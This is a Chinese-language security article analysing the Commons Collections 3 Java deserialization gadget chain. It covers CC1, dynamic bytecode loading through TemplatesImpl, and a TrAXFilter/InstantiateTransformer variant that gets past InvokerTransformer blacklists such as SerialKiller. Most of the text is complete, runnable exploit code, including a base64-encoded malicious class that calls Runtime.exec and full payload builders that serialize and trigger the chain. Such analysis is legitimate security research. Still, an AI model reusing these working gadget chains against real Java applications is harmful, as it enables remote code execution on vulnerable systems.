Java反序列化漏洞——CommonsCollections3链分析

文章详细解释了如何通过Java的Runtime.getRuntime.exec()执行系统命令,以及如何利用TemplatesImpl动态加载字节码来执行恶意代码。它描述了CC1链的构造过程,然后转向介绍如何通过TrAXFilter和InstantiateTransformer构建新的CC3利用链,以绕过一些安全过滤机制。文章还提到了ysoserial工具和针对反序列化攻击的安全防御措施。

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一、原理

CC1链中我们是通过调用Runtime.getRuntime.exec()来执行系统命令,而另一个方向我们可以通过TemplatesImpl加载字节码的类,通过调⽤其newTransformer() 方法,即可执⾏这段字节码的类构造器,我们在类构造器中加入恶意代码,即可执行任意命令。

二、分析构造

1.CC1链

  • 在CC1链中,我们的payload如下

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
outerMap.put("test", "xxxx");

2.TemplatesImpl动态加载

  • 我们用TemplatesImpl()动态加载字节码如下:

byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  • 其中setFieldValue()的代码如下:

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}
  • 其中base64中的内容为如下编译后base64出来的,参考

package com.TemplastesImplTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class codeTest extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    public codeTest() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

3.transformers设置

  • 那么两个合并到一起就可以执行任意字节码,只需要将第⼀个demo中InvokerTransformer执⾏的“⽅法”改成TemplatesImpl::newTransformer()

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(obj),
    new InvokerTransformer("newTransformer", null, null)
};

4.则改造好的payload如下:

public class CC3 {
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "test");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] newTransformers = new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(newTransformers);
        HashMap hashMap = new HashMap();
        Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
        decorate.put("test","test");
    }
}

三、ysoserial的CC3链分析

1.背景

  • 2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利⽤⼯具ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安全的过滤⽅法,于是类似SerialKiller这样的⼯具随之诞⽣。

  • SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单:

  • 这个⿊名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。有攻就有防,ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3。

2.TrAXFilter

  • CommonsCollections3的⽬的很明显,就是为了绕过⼀些规则对InvokerTransformer的限制。CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

  • 这个类的构造⽅法中调⽤了(TransformerImpl) templates.newTransformer() ,免去了我们使⽤InvokerTransformer⼿⼯调⽤newTransformer() ⽅法这⼀步

3.InstantiateTransformer

  • 当然,缺少了InvokerTransformer,TrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的Transformer,就是org.apache.commons.collections.functors.InstantiateTransformer

  • InstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法。所以,我们实现的⽬标就是,利⽤InstantiateTransformer 来调⽤到TrAXFilter 的构造⽅法,再利⽤其构造⽅法⾥的templates.newTransformer() 调⽤到TemplatesImpl ⾥的字节码

4.CommonsCollections3

  • 所以新构造的Transformer调用链如下:

Transformer[] newTransformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{obj}
                )
        };
  • 则重新改造的payload如下:

public class CC3 {
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "test");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] newTransformersnewfail = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] newTransformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{obj}
                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(newTransformersnewfail);
        HashMap hashMap = new HashMap();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

        TiedMapEntry tme = new TiedMapEntry(decorate, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        decorate.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, newTransformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        objectInputStream.readObject();
    }
}

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